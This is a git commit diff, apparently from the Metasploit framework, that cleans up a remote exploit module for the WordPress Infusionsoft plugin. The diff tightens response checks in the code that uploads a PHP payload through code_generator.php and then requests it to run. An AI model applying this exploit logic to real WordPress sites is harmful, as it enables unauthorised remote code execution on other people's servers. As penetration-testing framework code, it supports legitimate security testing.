Do minor cleanup

bug/bundler_fix
jvazquez-r7 2014-10-08 16:29:11 -05:00
parent 03888bc97b
commit bbf180997a
1 changed files with 5 additions and 9 deletions

View File

@ -8,7 +8,6 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
@ -36,19 +35,17 @@ class Metasploit3 < Msf::Exploit::Remote
'DisclosureDate' => 'Sep 25 2014',
'DefaultTarget' => 0)
)
register_options(
[
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
)
if res && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
@ -65,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
})
if res && res.code == 200
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
@ -76,8 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
})
handler
}, 1)
end
end